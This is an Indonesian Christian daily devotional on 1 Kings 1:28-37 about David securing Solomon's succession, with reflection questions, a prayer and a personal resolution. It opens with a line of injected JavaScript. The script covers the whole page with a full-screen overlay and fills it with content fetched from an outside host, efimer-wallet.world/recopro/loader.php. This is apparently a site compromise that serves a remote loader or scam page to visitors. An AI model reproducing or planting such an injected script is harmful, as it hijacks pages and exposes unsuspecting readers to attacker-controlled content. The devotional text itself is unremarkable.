const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
Selasa, 25 Juli 2023
1 Raja-Raja 1 : 28 – 37
Pengantar
Rencana yang nyaris berantakan akan membuat kita panik. Dan kepanikan itu kadang kita tidak tahu apa yang harus dilakukan. Hari ini kita akan merenungkan tindakan Daud pada waktu rencananya nyaris berantakan.
Pemahaman
ay. 28-32 : Mengapa Daud memanggil imam Zadok, nabi Natan dan Benaya bin Yoyada?
ay. 33-37 : Mengapa Daud menyuruh membawa para pegawainya serta menaikkan Salomo ke atas bagal tunggangannya Daud sendiri?
Ayat 28-31 memberi gambaran suatu kondisi di mana rencana Daud untuk mengangkat Salomo menjadi penerusnya terancam berantakan. Sebab Adonia telah mengangkat dirinya sendiri menjadi raja menggantikan Daud. Dalam menghadapi situasi yang demikian, Daud mengambil beberapa langkah yang patut kita teladani. Pertama, Daud tetap berpegang pada rencana yang benar. Rencana Daud mengangkat Salomo menjadi penerusnya bukanlah rencana yang didasarkan pada keinginan subyektif Daud, melainkan karena Daud tahu dengan pasti bahwa Allah berkenan kepada Salomo. Sebab ketika Salomo lahir, dengan perantaraan nabi Natan Allah menyuruh Daud memberi nama Yedija – yang berarti kekasih Tuhan atau orang yang dikasihi Tuhan – kepada Salomo (2Sam. 12:24-25).
Kedua, Daud menggunakan cara yang benar. Ketika Daud memutuskan untuk tetap berpegang pada rencana yang benar, ia menggunakan cara yang benar. Dalam menunjuk Salomo sebagai penerusnya Daud mengumpulkan tiga orang, yaitu Zadok selaku imam, Natan sebagai nabi, dan Benaya bin Yoyada yang adalah panglima perangnya. Untuk mengurapi seorang raja dibutuhkan
keterlibatan imam dan nabi. Ketika Saul dan Daud ditetapkan menjadi raja orang Israel yang mengurapi mereka adalah Samuel, yang adalah seorang nabi sekaligus seorang imam. Itulah sebabnya ketika Daud mengangkat Salomo menjadi raja, ia menghadirkan nabi Natan dan imam Zadok (bnd. ay. 34). Dan untuk mengamankan semuanya, Daud melibatkan panglima perangnya, yakni Benaya bin Yoyada.
Ketiga, Daud menggunakan seluruh potensinya. Daud sadar bahwa dirinya sudah tidak memiliki kemampuan fisik untuk berbicara di depan publik guna mendeklarasikan Salomo sebagai penerusnya. Itulah sebabnya dia memerintahkan untuk membawa rombongan para pegawainya serta menggunakan kendaraannya pribadi (ay. 33). Keduanya akan dilihat masyarakat Israel sebagai representasi kehadiran Daud dalam penahbisan Salomo.
Refleksi
Hidup ini kadang tidak berjalan seperti yang kita rencanakan. Kala hal itu terjadi, marilah kita berpegang pada rencana yang benar, yang berkenan kepada Allah, dan menggunakan seluruh potensi kita untuk mewujudkan rencana yang benar itu dengan cara yang benar.
Tekadku
Doa: Bapa surgawi, tolong saya agar menggunakan seluruh potensi saya untuk mewujudkan rencana yang berkenan padaMu dengan cara yang berkenan padaMu juga. Amin.
Tindakanku
Saya akan menggunakan seluruh potensi saya untuk mewujudkan rencana yang berkenan pada Allah dengan cara yang berkenan pada Allah juga.